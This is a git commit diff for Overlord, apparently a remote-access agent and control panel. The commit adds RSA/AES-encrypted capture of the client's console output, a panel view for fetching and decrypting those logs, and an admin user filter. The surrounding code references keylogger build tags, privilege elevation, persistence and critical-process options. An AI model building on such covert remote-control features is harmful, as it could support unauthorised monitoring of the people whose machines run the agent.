encrypted logs, more customization for admins.

This commit is contained in:
KingKDot
2026-06-27 16:40:54 -05:00
parent 95447f41cd
commit 84de7050fb
24 changed files with 952 additions and 30 deletions
+2
View File
@@ -516,3 +516,5 @@ save.txt
*.wasm
Albedo/*
plink/*
plugins/plink/*
plugins/plink-static/*
@@ -33,6 +33,7 @@ var DefaultBuildTag = ""
var DefaultSleepSeconds = "0"
var DefaultCriticalProcess = "false"
var DefaultFetchPublicIP = "false"
var DefaultSecureLogPublicKey = ""
const settingsFile = "config/settings.json"
const serverIndexFile = "config/server_index.json"
@@ -23,6 +23,7 @@ import (
"overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/securelog"
"overlord-client/cmd/agent/sysinfo"
"overlord-client/cmd/agent/webrtcpub"
"overlord-client/cmd/agent/wire"
@@ -2023,6 +2024,31 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
caps := audio.ProbeCapabilities()
payload, _ := json.Marshal(caps)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
case "client_logs_request":
payload := payloadAsMap(envelope["payload"])
sinceSeq := uint64(payloadNumberToInt64(payload["sinceSeq"]))
limit := int(payloadNumberToInt64(payload["limit"]))
snap := securelog.SnapshotLogs(sinceSeq, limit)
entries := make([]wire.ClientLogEntry, 0, len(snap.Entries))
for _, entry := range snap.Entries {
entries = append(entries, wire.ClientLogEntry{
Seq: entry.Seq,
At: entry.At,
Source: entry.Source,
Blob: entry.Blob,
})
}
return wire.WriteMsg(ctx, env.Conn, wire.ClientLogsResult{
Type: "client_logs_result",
CommandID: cmdID,
OK: snap.Enabled && snap.Error == "",
Entries: entries,
Dropped: snap.Dropped,
FromSeq: snap.FromSeq,
ToSeq: snap.ToSeq,
Enabled: snap.Enabled,
Error: snap.Error,
})
case "desktop_audio_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
source := "system"
@@ -4,21 +4,10 @@
package main
import (
"io"
"log"
"os"
"overlord-client/cmd/agent/config"
"overlord-client/cmd/agent/securelog"
)
var devNullFile *os.File
func init() {
log.SetOutput(io.Discard)
file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
if err != nil {
return
}
devNullFile = file
os.Stdout = file
os.Stderr = file
securelog.Install(config.DefaultSecureLogPublicKey)
}
@@ -0,0 +1,17 @@
package securelog
type Entry struct {
Seq uint64 `msgpack:"seq" json:"seq"`
At int64 `msgpack:"at" json:"at"`
Source string `msgpack:"source" json:"source"`
Blob string `msgpack:"blob" json:"blob"`
}
type Snapshot struct {
Entries []Entry
Dropped uint64
FromSeq uint64
ToSeq uint64
Enabled bool
Error string
}
@@ -0,0 +1,263 @@
//go:build noprint
// +build noprint
package securelog
import (
"bufio"
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"log"
"os"
"strings"
"sync"
"sync/atomic"
"time"
)
const (
maxEntries = 2048
maxLineBytes = 64 * 1024
maxSnapshotCount = 512
)
type encryptedEnvelope struct {
V int `json:"v"`
Alg string `json:"alg"`
Seq uint64 `json:"seq"`
At int64 `json:"at"`
Source string `json:"source"`
WrappedKey string `json:"wrappedKey"`
Nonce string `json:"nonce"`
Ciphertext string `json:"ciphertext"`
}
type captureWriter struct {
source string
}
var (
mu sync.Mutex
entries []Entry
dropped uint64
seq uint64
enabled atomic.Bool
lastError atomic.Value
publicKey *rsa.PublicKey
originalOut *os.File
originalErr *os.File
)
func Install(publicKeyB64 string) {
if enabled.Load() {
return
}
originalOut = os.Stdout
originalErr = os.Stderr
key, err := parsePublicKey(publicKeyB64)
if err != nil {
setError(err.Error())
log.SetOutput(io.Discard)
redirectToNull()
return
}
publicKey = key
enabled.Store(true)
log.SetOutput(captureWriter{source: "log"})
log.SetFlags(log.LstdFlags)
redirectPipe("stdout", originalOut, func(f *os.File) { os.Stdout = f })
redirectPipe("stderr", originalErr, func(f *os.File) { os.Stderr = f })
}
func SnapshotLogs(sinceSeq uint64, limit int) Snapshot {
mu.Lock()
defer mu.Unlock()
if limit <= 0 || limit > maxSnapshotCount {
limit = maxSnapshotCount
}
out := make([]Entry, 0, min(limit, len(entries)))
for _, entry := range entries {
if entry.Seq <= sinceSeq {
continue
}
out = append(out, entry)
if len(out) >= limit {
break
}
}
var from, to uint64
if len(out) > 0 {
from = out[0].Seq
to = out[len(out)-1].Seq
}
return Snapshot{
Entries: out,
Dropped: dropped,
FromSeq: from,
ToSeq: to,
Enabled: enabled.Load(),
Error: currentError(),
}
}
func (w captureWriter) Write(p []byte) (int, error) {
record(w.source, p)
return len(p), nil
}
func redirectPipe(source string, mirror *os.File, assign func(*os.File)) {
reader, writer, err := os.Pipe()
if err != nil {
setError(fmt.Sprintf("%s pipe failed: %v", source, err))
redirectToNull()
return
}
assign(writer)
go readPipe(source, reader, mirror)
}
func readPipe(source string, reader *os.File, mirror *os.File) {
scanner := bufio.NewScanner(reader)
scanner.Buffer(make([]byte, 4096), maxLineBytes)
for scanner.Scan() {
record(source, append(scanner.Bytes(), '\n'))
}
if err := scanner.Err(); err != nil {
record("securelog", []byte(fmt.Sprintf("%s capture error: %v\n", source, err)))
}
}
func record(source string, raw []byte) {
if !enabled.Load() || publicKey == nil || len(raw) == 0 {
return
}
if len(raw) > maxLineBytes {
raw = append(raw[:maxLineBytes], []byte("\n[securelog] line truncated\n")...)
}
raw = bytes.TrimRight(raw, "\r\n")
if len(raw) == 0 {
return
}
nextSeq := atomic.AddUint64(&seq, 1)
now := time.Now().UnixMilli()
blob, err := encryptEntry(nextSeq, now, source, raw)
if err != nil {
setError(err.Error())
return
}
entry := Entry{Seq: nextSeq, At: now, Source: source, Blob: blob}
mu.Lock()
if len(entries) >= maxEntries {
copy(entries, entries[1:])
entries[len(entries)-1] = entry
dropped++
} else {
entries = append(entries, entry)
}
mu.Unlock()
mirrorEncrypted(entry)
}
func encryptEntry(seq uint64, at int64, source string, plaintext []byte) (string, error) {
aesKey := make([]byte, 32)
nonce := make([]byte, 12)
if _, err := rand.Read(aesKey); err != nil {
return "", err
}
if _, err := rand.Read(nonce); err != nil {
return "", err
}
block, err := aes.NewCipher(aesKey)
if err != nil {
return "", err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return "", err
}
aad := []byte(fmt.Sprintf("%d:%d:%s", seq, at, source))
ciphertext := gcm.Seal(nil, nonce, plaintext, aad)
wrapped, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, aad)
if err != nil {
return "", err
}
env := encryptedEnvelope{
V: 1,
Alg: "RSA-OAEP-SHA256+A256GCM",
Seq: seq,
At: at,
Source: source,
WrappedKey: base64.StdEncoding.EncodeToString(wrapped),
Nonce: base64.StdEncoding.EncodeToString(nonce),
Ciphertext: base64.StdEncoding.EncodeToString(ciphertext),
}
jsonBytes, err := json.Marshal(env)
if err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(jsonBytes), nil
}
func mirrorEncrypted(entry Entry) {
if originalOut == nil {
return
}
_, _ = fmt.Fprintf(originalOut, "OVERLORD-SECURE-LOG v1 seq=%d source=%s %s\n", entry.Seq, entry.Source, entry.Blob)
}
func parsePublicKey(publicKeyB64 string) (*rsa.PublicKey, error) {
raw := strings.TrimSpace(publicKeyB64)
if raw == "" {
return nil, fmt.Errorf("secure log public key missing")
}
der, err := base64.StdEncoding.DecodeString(raw)
if err != nil {
return nil, fmt.Errorf("secure log public key decode failed: %w", err)
}
pub, err := x509.ParsePKIXPublicKey(der)
if err != nil {
return nil, fmt.Errorf("secure log public key parse failed: %w", err)
}
rsaPub, ok := pub.(*rsa.PublicKey)
if !ok {
return nil, fmt.Errorf("secure log public key is not RSA")
}
return rsaPub, nil
}
func redirectToNull() {
file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
if err != nil {
return
}
os.Stdout = file
os.Stderr = file
}
func setError(msg string) {
lastError.Store(msg)
}
func currentError() string {
if v := lastError.Load(); v != nil {
if s, ok := v.(string); ok {
return s
}
}
return ""
}
@@ -0,0 +1,10 @@
//go:build !noprint
// +build !noprint
package securelog
func Install(_ string) {}
func SnapshotLogs(_ uint64, _ int) Snapshot {
return Snapshot{Enabled: false, Error: "secure client logs are not enabled for this build"}
}
@@ -67,6 +67,25 @@ type CommandResult struct {
Message string `msgpack:"message,omitempty"`
}
type ClientLogEntry struct {
Seq uint64 `msgpack:"seq" json:"seq"`
At int64 `msgpack:"at" json:"at"`
Source string `msgpack:"source" json:"source"`
Blob string `msgpack:"blob" json:"blob"`
}
type ClientLogsResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
OK bool `msgpack:"ok"`
Entries []ClientLogEntry `msgpack:"entries,omitempty"`
Dropped uint64 `msgpack:"dropped,omitempty"`
FromSeq uint64 `msgpack:"fromSeq,omitempty"`
ToSeq uint64 `msgpack:"toSeq,omitempty"`
Enabled bool `msgpack:"enabled"`
Error string `msgpack:"error,omitempty"`
}
type FrameHeader struct {
Monitor int `msgpack:"monitor"`
FPS int `msgpack:"fps"`
+99
View File
@@ -1783,6 +1783,100 @@ function escapeHtml(text) {
return div.innerHTML;
}
function renderClientLogs(logs) {
if (!Array.isArray(logs) || logs.length === 0) {
return '<div class="text-sm text-slate-500 p-3">No secure logs returned.</div>';
}
return logs.map((entry) => {
const ts = entry.at ? new Date(entry.at).toLocaleString() : "";
const source = entry.source || "log";
return `<div class="border-b border-slate-800 py-2">
<div class="text-xs text-slate-500 mb-1">#${escapeHtml(entry.seq)} ${escapeHtml(source)} ${escapeHtml(ts)}</div>
<pre class="whitespace-pre-wrap text-xs text-slate-200 font-mono">${escapeHtml(entry.text || "")}</pre>
</div>`;
}).join("");
}
function openSecureLogsModal(clientId) {
const overlay = document.createElement("div");
overlay.className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60";
overlay.addEventListener("click", (e) => { if (e.target === overlay) overlay.remove(); });
const modal = document.createElement("div");
modal.className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-5 w-[760px] max-w-[calc(100vw-24px)] max-h-[86vh] flex flex-col gap-4";
modal.innerHTML = `
<div class="flex items-center justify-between gap-3">
<h3 class="text-lg font-semibold text-slate-100 flex items-center gap-2"><i class="fa-solid fa-file-shield text-sky-400"></i> Secure Logs</h3>
<button class="secure-logs-close text-slate-400 hover:text-white"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="flex flex-wrap gap-2">
<button class="secure-logs-fetch px-3 py-2 rounded-lg bg-sky-700 hover:bg-sky-600 text-white text-sm"><i class="fa-solid fa-download mr-1"></i> Request From Client</button>
<button class="secure-logs-decrypt px-3 py-2 rounded-lg bg-slate-800 hover:bg-slate-700 text-slate-200 border border-slate-700 text-sm"><i class="fa-solid fa-key mr-1"></i> Decrypt Pasted Blob</button>
</div>
<textarea class="secure-logs-input min-h-28 bg-slate-950 border border-slate-700 rounded-lg p-3 text-xs text-slate-200 font-mono outline-none focus:border-sky-500" placeholder="Paste OVERLORD-SECURE-LOG lines here for offline recovery"></textarea>
<div class="secure-logs-meta text-xs text-slate-500"></div>
<div class="secure-logs-output overflow-auto rounded-lg border border-slate-800 bg-slate-950/70 p-3 min-h-48"></div>
`;
overlay.appendChild(modal);
document.body.appendChild(overlay);
const output = modal.querySelector(".secure-logs-output");
const meta = modal.querySelector(".secure-logs-meta");
const input = modal.querySelector(".secure-logs-input");
const fetchBtn = modal.querySelector(".secure-logs-fetch");
const decryptBtn = modal.querySelector(".secure-logs-decrypt");
modal.querySelector(".secure-logs-close")?.addEventListener("click", () => overlay.remove());
fetchBtn.addEventListener("click", async () => {
fetchBtn.disabled = true;
output.innerHTML = '<div class="text-sm text-slate-400 p-3">Requesting logs...</div>';
try {
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/logs`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ limit: 200 }),
});
const data = await res.json().catch(() => ({}));
if (!res.ok || !data.ok) {
meta.textContent = data.clientError || data.error || "Secure logs request failed";
} else {
meta.textContent = `Entries ${data.fromSeq || 0}-${data.toSeq || 0}; dropped ${data.dropped || 0}`;
}
output.innerHTML = renderClientLogs(data.logs || []);
} catch (err) {
meta.textContent = err.message || "Secure logs request failed";
output.innerHTML = "";
} finally {
fetchBtn.disabled = false;
}
});
decryptBtn.addEventListener("click", async () => {
const blob = input.value.trim();
if (!blob) {
input.focus();
return;
}
decryptBtn.disabled = true;
output.innerHTML = '<div class="text-sm text-slate-400 p-3">Decrypting...</div>';
try {
const res = await fetch("/api/client-logs/decrypt", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ blob }),
});
const data = await res.json().catch(() => ({}));
meta.textContent = data.errors?.length ? `${data.errors.length} blob(s) could not decrypt` : "Offline blob decrypted";
output.innerHTML = renderClientLogs(data.logs || []);
} catch (err) {
meta.textContent = err.message || "Decrypt failed";
output.innerHTML = "";
} finally {
decryptBtn.disabled = false;
}
});
}
window.banClient = async (clientId) => {
if (!clientId) return;
if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return;
@@ -2054,6 +2148,11 @@ menu.addEventListener("click", async (e) => {
if (ok) setTimeout(() => loadWithOptions({ force: true }), 200);
closeMenu(clearContext);
return;
} else if (action === "secure-logs") {
const savedClientId = contextCard;
closeMenu(clearContext);
openSecureLogsModal(savedClientId);
return;
}
if (!isClientOnline(contextCard)) {
+1
View File
@@ -46,6 +46,7 @@ const MENU_GROUPS = [
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
{ label: "Secure Logs", icon: "fa-solid fa-file-shield", icolor: "text-sky-300", action: "secure-logs" },
{ divider: true },
{ label: "Elevate", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
{ divider: true },
+30 -3
View File
@@ -1,10 +1,12 @@
let currentUser = null;
let users = [];
let onlyOwnUsers = localStorage.getItem("adminOnlyOwnUsers") === "1";
import { escapeHtml, formatDate } from "./format.js";
const usersTableBody = document.getElementById("users-table-body");
const addUserBtn = document.getElementById("add-user-btn");
const ownUsersToggle = document.getElementById("own-users-toggle");
const userModal = document.getElementById("user-modal");
const modalTitle = document.getElementById("modal-title");
const userForm = document.getElementById("user-form");
@@ -78,6 +80,8 @@ async function getCurrentUser() {
alert("Access denied. Admin role required.");
window.location.href = "/";
}
renderUsers();
} else {
window.location.href = "/";
}
@@ -130,19 +134,24 @@ async function loadUsers() {
}
function renderUsers() {
if (users.length === 0) {
const visibleUsers = getVisibleUsers();
if (visibleUsers.length === 0) {
const emptyMessage = onlyOwnUsers && users.length > 0
? "No users created by you"
: "No users found";
usersTableBody.innerHTML = `
<tr>
<td colspan="6" class="px-6 py-12 text-center text-slate-400">
<i class="fa-solid fa-users mr-2"></i>
No users found
${emptyMessage}
</td>
</tr>
`;
return;
}
usersTableBody.innerHTML = users
usersTableBody.innerHTML = visibleUsers
.map(
(user) => `
<tr class="hover:bg-slate-800/30 transition-colors">
@@ -275,6 +284,15 @@ function renderUsers() {
attachActionListeners();
}
function getVisibleUsers() {
if (!onlyOwnUsers || !currentUser) return users;
return users.filter((user) => (
user.id === currentUser.userId ||
user.username === currentUser.username ||
user.created_by === currentUser.username
));
}
function getRoleBadge(role) {
const badges = {
admin:
@@ -378,6 +396,15 @@ addUserBtn.addEventListener("click", () => {
closeModal.addEventListener("click", hideModal);
cancelBtn.addEventListener("click", hideModal);
if (ownUsersToggle) {
ownUsersToggle.checked = onlyOwnUsers;
ownUsersToggle.addEventListener("change", () => {
onlyOwnUsers = ownUsersToggle.checked;
localStorage.setItem("adminOnlyOwnUsers", onlyOwnUsers ? "1" : "0");
renderUsers();
});
}
userForm.addEventListener("submit", async (e) => {
e.preventDefault();
+3 -3
View File
@@ -447,13 +447,13 @@
</span>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-rose-500 transition-colors">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-sky-500 transition-colors">
<input type="checkbox" name="no-printing" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-volume-xmark text-rose-400"></i> Disable Client Printing
<i class="fa-solid fa-lock text-sky-400"></i> Secure Client Logs
</span>
<span class="text-xs text-slate-500">Silence all stdout/stderr and log output</span>
<span class="text-xs text-slate-500">Capture stdout/stderr and logs as encrypted base64</span>
</div>
</label>
+10
View File
@@ -47,6 +47,15 @@
<h2 class="text-2xl font-bold text-slate-100 mb-1">Users</h2>
<p class="text-slate-400 text-sm">Manage user accounts and roles</p>
</div>
<div class="flex items-center gap-3">
<label class="inline-flex items-center gap-2 px-3 py-2 bg-slate-900/60 border border-slate-800 rounded-lg text-sm text-slate-300">
<input
id="own-users-toggle"
type="checkbox"
class="h-4 w-4 rounded border-slate-600 bg-slate-800 text-blue-600 focus:ring-blue-500"
/>
<span>Only my users</span>
</label>
<button
id="add-user-btn"
class="px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white rounded-lg transition-colors font-medium"
@@ -54,6 +63,7 @@
<i class="fa-solid fa-user-plus mr-2"></i>Add User
</button>
</div>
</div>
<!-- Users Table -->
<div
+29
View File
@@ -208,6 +208,10 @@ type SaveSecrets = {
privateKey?: string;
publicKey?: string;
};
clientLogs?: {
privateKey?: string;
publicKey?: string;
};
};
export type BuildSigningSecrets = {
@@ -215,6 +219,11 @@ export type BuildSigningSecrets = {
publicKey: string;
};
export type ClientLogSecrets = {
privateKey: string;
publicKey: string;
};
function generateRandomSecret(length = 48): string {
const chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*";
@@ -1025,6 +1034,26 @@ export function setBuildSigningSecrets(secrets: BuildSigningSecrets): void {
persistSaveSecrets(savePath, saved);
}
export function getClientLogSecrets(): ClientLogSecrets | null {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
const saved = loadSaveSecrets(savePath);
const priv = saved.clientLogs?.privateKey;
const pub = saved.clientLogs?.publicKey;
if (typeof priv === "string" && priv && typeof pub === "string" && pub) {
return { privateKey: priv, publicKey: pub };
}
return null;
}
export function setClientLogSecrets(secrets: ClientLogSecrets): void {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
const saved = loadSaveSecrets(savePath);
saved.clientLogs = { privateKey: secrets.privateKey, publicKey: secrets.publicKey };
persistSaveSecrets(savePath, saved);
}
export function getBuildBanlist(): string[] {
return getConfig().buildSigning.banlist;
}
+22
View File
@@ -7,6 +7,7 @@ export type MessageKind =
| "pong"
| "command"
| "command_result"
| "client_logs_result"
| "screenshot_result"
| "frame"
| "status"
@@ -103,6 +104,7 @@ export type CommandType =
| "voice_session_stop"
| "voice_downlink"
| "voice_capabilities"
| "client_logs_request"
| "desktop_audio_start"
| "desktop_audio_stop"
| "process_list"
@@ -151,6 +153,25 @@ export type CommandResult = {
message?: string;
};
export type ClientLogEntry = {
seq: number;
at: number;
source: string;
blob: string;
};
export type ClientLogsResult = {
type: "client_logs_result";
commandId?: string;
ok: boolean;
entries?: ClientLogEntry[];
dropped?: number;
fromSeq?: number;
toSeq?: number;
enabled: boolean;
error?: string;
};
export type ScreenshotResult = {
type: "screenshot_result";
commandId?: string;
@@ -467,6 +488,7 @@ export type WireMessage =
| Pong
| Command
| CommandResult
| ClientLogsResult
| ScreenshotResult
| Frame
| FrameAck
+7 -1
View File
@@ -7,6 +7,7 @@ import { getUserById, canUploadFiles } from "../users";
import { logger } from "../logger";
import { getConfig } from "../config";
import { signBuildToken } from "./build-signing";
import { getClientLogPublicKey } from "./client-log-crypto";
import { ensureDataDir } from "../paths";
import * as buildManager from "../build/buildManager";
import type { BuildStream } from "../build/types";
@@ -1134,7 +1135,12 @@ func runBoundFiles() {
}
if (config.noPrinting) {
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
const secureLogPublicKey = getClientLogPublicKey();
if (secureLogPublicKey) {
const secureLogFlag = `-X overlord-client/cmd/agent/config.DefaultSecureLogPublicKey=${secureLogPublicKey}`;
ldflags = ldflags ? `${ldflags} ${secureLogFlag}` : secureLogFlag;
}
sendToStream({ type: "output", text: "Secure client logs enabled (encrypted noprint capture)\n", level: "info" });
}
if (config.disableKeylogger) {
sendToStream({ type: "output", text: "Keylogger disabled (nokeylogger tag)\n", level: "info" });
@@ -0,0 +1,56 @@
import { beforeAll, describe, expect, test } from "bun:test";
import { constants, createCipheriv, createPublicKey, publicEncrypt, randomBytes } from "crypto";
import { mkdtempSync } from "fs";
import { join } from "path";
import { tmpdir } from "os";
import { decryptClientLogBlob, extractSecureLogBlobs, getClientLogPublicKey } from "./client-log-crypto";
beforeAll(() => {
process.env.DATA_DIR = mkdtempSync(join(tmpdir(), "overlord-client-log-test-"));
});
function makeBlob(seq: number, at: number, source: string, text: string): string {
const publicKey = Buffer.from(getClientLogPublicKey(), "base64");
const aesKey = randomBytes(32);
const nonce = randomBytes(12);
const aad = Buffer.from(`${seq}:${at}:${source}`, "utf8");
const cipher = createCipheriv("aes-256-gcm", aesKey, nonce);
cipher.setAAD(aad);
const encrypted = Buffer.concat([cipher.update(text, "utf8"), cipher.final(), cipher.getAuthTag()]);
const wrapped = publicEncrypt(
{
key: createPublicKey({ key: publicKey, format: "der", type: "spki" }),
oaepHash: "sha256",
padding: constants.RSA_PKCS1_OAEP_PADDING,
oaepLabel: aad,
},
aesKey,
);
return Buffer.from(JSON.stringify({
v: 1,
alg: "RSA-OAEP-SHA256+A256GCM",
seq,
at,
source,
wrappedKey: wrapped.toString("base64"),
nonce: nonce.toString("base64"),
ciphertext: encrypted.toString("base64"),
})).toString("base64");
}
describe("client log crypto", () => {
test("decrypts secure log blobs", () => {
const blob = makeBlob(7, 12345, "log", "hello secure logs");
expect(decryptClientLogBlob(blob)).toEqual({
seq: 7,
at: 12345,
source: "log",
text: "hello secure logs",
});
});
test("extracts offline console lines", () => {
const blob = makeBlob(8, 12346, "stdout", "offline");
expect(extractSecureLogBlobs(`noise\nOVERLORD-SECURE-LOG v1 seq=8 source=stdout ${blob}\n`)).toContain(blob);
});
});
@@ -0,0 +1,102 @@
import {
constants,
createDecipheriv,
generateKeyPairSync,
privateDecrypt,
} from "crypto";
import logger from "../logger";
import {
getClientLogSecrets,
setClientLogSecrets,
type ClientLogSecrets,
} from "../config";
type SecureLogEnvelope = {
v: number;
alg: string;
seq: number;
at: number;
source: string;
wrappedKey: string;
nonce: string;
ciphertext: string;
};
export type DecryptedClientLog = {
seq: number;
at: number;
source: string;
text: string;
};
let cachedSecrets: ClientLogSecrets | null = null;
function ensureClientLogSecrets(): ClientLogSecrets {
if (cachedSecrets) return cachedSecrets;
let secrets = getClientLogSecrets();
if (!secrets) {
const kp = generateKeyPairSync("rsa", {
modulusLength: 3072,
publicKeyEncoding: { type: "spki", format: "der" },
privateKeyEncoding: { type: "pkcs8", format: "pem" },
});
secrets = {
privateKey: kp.privateKey.toString(),
publicKey: Buffer.from(kp.publicKey).toString("base64"),
};
setClientLogSecrets(secrets);
logger.info("[client-logs] generated new RSA-OAEP log decryption keypair");
}
cachedSecrets = secrets;
return secrets;
}
export function getClientLogPublicKey(): string {
return ensureClientLogSecrets().publicKey;
}
export function resetClientLogCryptoCacheForTests(): void {
cachedSecrets = null;
}
export function decryptClientLogBlob(blob: string): DecryptedClientLog {
const secrets = ensureClientLogSecrets();
const decoded = Buffer.from(String(blob || "").trim(), "base64").toString("utf-8");
const env = JSON.parse(decoded) as SecureLogEnvelope;
if (!env || env.v !== 1 || env.alg !== "RSA-OAEP-SHA256+A256GCM") {
throw new Error("Unsupported secure log envelope");
}
const seq = Number(env.seq) || 0;
const at = Number(env.at) || 0;
const source = String(env.source || "log");
const aad = Buffer.from(`${seq}:${at}:${source}`, "utf-8");
const aesKey = privateDecrypt(
{
key: secrets.privateKey,
oaepHash: "sha256",
padding: constants.RSA_PKCS1_OAEP_PADDING,
oaepLabel: aad,
},
Buffer.from(env.wrappedKey, "base64"),
);
const encrypted = Buffer.from(env.ciphertext, "base64");
if (encrypted.length < 17) throw new Error("Malformed secure log ciphertext");
const tag = encrypted.subarray(encrypted.length - 16);
const ciphertext = encrypted.subarray(0, encrypted.length - 16);
const decipher = createDecipheriv("aes-256-gcm", aesKey, Buffer.from(env.nonce, "base64"));
decipher.setAAD(aad);
decipher.setAuthTag(tag);
const plaintext = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
return { seq, at, source, text: plaintext.toString("utf-8") };
}
export function extractSecureLogBlobs(input: string): string[] {
const blobs: string[] = [];
for (const line of String(input || "").split(/\r?\n/)) {
const trimmed = line.trim();
if (!trimmed) continue;
const match = trimmed.match(/OVERLORD-SECURE-LOG\s+v1\s+seq=\d+\s+source=\S+\s+([A-Za-z0-9+/=]+)$/);
blobs.push(match ? match[1] : trimmed);
}
return blobs;
}
@@ -46,6 +46,7 @@ type PluginContext = {
warn: (message: string) => void;
error: (message: string) => void;
};
fetch: typeof fetch;
broadcast: (channel: string, data: unknown) => void;
};
@@ -86,6 +87,7 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
db,
dataDir,
log: makeLogger(),
fetch: globalThis.fetch.bind(globalThis),
broadcast: (channel, data) => send({ type: "broadcast", channel, data }),
};
@@ -34,6 +34,7 @@ import { notifyDashboardViewers } from "../../sessions/sessionManager";
import { clearThumbnail } from "../../thumbnails";
import { handleClientCommandRoute } from "./client-command-routes";
import { handleClientGroupRoutes } from "./client-group-routes";
import { decryptClientLogBlob, extractSecureLogBlobs } from "../client-log-crypto";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -66,10 +67,34 @@ export async function handleClientRoutes(
server: RequestIpProvider,
deps: ClientRouteDeps,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/clients") && !url.pathname.startsWith("/api/groups")) {
if (!url.pathname.startsWith("/api/clients") && !url.pathname.startsWith("/api/groups") && !url.pathname.startsWith("/api/client-logs")) {
return null;
}
if (req.method === "POST" && url.pathname === "/api/client-logs/decrypt") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try { requirePermission(user, "clients:control"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
let body: any = {};
try { body = await req.json(); } catch {}
const raw = typeof body?.blob === "string" ? body.blob : "";
const blobs = extractSecureLogBlobs(raw).slice(0, 1000);
const logs = [];
const errors = [];
for (const blob of blobs) {
try {
logs.push(decryptClientLogBlob(blob));
} catch (err) {
errors.push((err as Error).message);
}
}
logs.sort((a, b) => a.seq - b.seq || a.at - b.at);
return Response.json({ ok: errors.length === 0, logs, errors }, { headers: deps.CORS_HEADERS });
}
if (url.pathname === "/api/clients") {
const user = await authenticateRequest(req);
if (!user) {
@@ -115,6 +140,73 @@ export async function handleClientRoutes(
return Response.json({ countries: listDistinctCountries() }, { headers: deps.CORS_HEADERS });
}
const logsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/logs$/);
if (req.method === "POST" && logsMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try { requirePermission(user, "clients:control"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = logsMatch[1];
try { requireClientAccess(user, targetId); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const target = clientManager.getClient(targetId);
if (!target) return Response.json({ ok: false, error: "Client not online or not found" }, { status: 404 });
let body: any = {};
try { body = await req.json(); } catch {}
const limit = Math.max(1, Math.min(512, Math.floor(Number(body?.limit || 200))));
const sinceSeq = Math.max(0, Math.floor(Number(body?.sinceSeq || 0)));
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Client logs request timed out"));
}, 30_000);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
});
target.ws.send(encodeMessage({
type: "command",
commandType: "client_logs_request",
id: cmdId,
payload: { sinceSeq, limit },
} as any));
metrics.recordCommand("client_logs_request");
const ip = server.requestIP(req)?.address || "unknown";
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: "client_logs_request", success: true });
try {
const result = await replyPromise;
const rawPayload = result.message ? JSON.parse(result.message) : {};
const entries = Array.isArray(rawPayload.entries) ? rawPayload.entries : [];
const logs = [];
const errors = [];
for (const entry of entries) {
try {
logs.push(decryptClientLogBlob(String(entry.blob || "")));
} catch (err) {
errors.push({ seq: Number(entry.seq) || 0, error: (err as Error).message });
}
}
logs.sort((a, b) => a.seq - b.seq || a.at - b.at);
return Response.json({
ok: result.ok && errors.length === 0,
enabled: Boolean(rawPayload.enabled),
dropped: Number(rawPayload.dropped) || 0,
fromSeq: Number(rawPayload.fromSeq) || 0,
toSeq: Number(rawPayload.toSeq) || 0,
logs,
errors,
clientError: typeof rawPayload.error === "string" ? rawPayload.error : "",
}, { headers: deps.CORS_HEADERS });
} catch (error: any) {
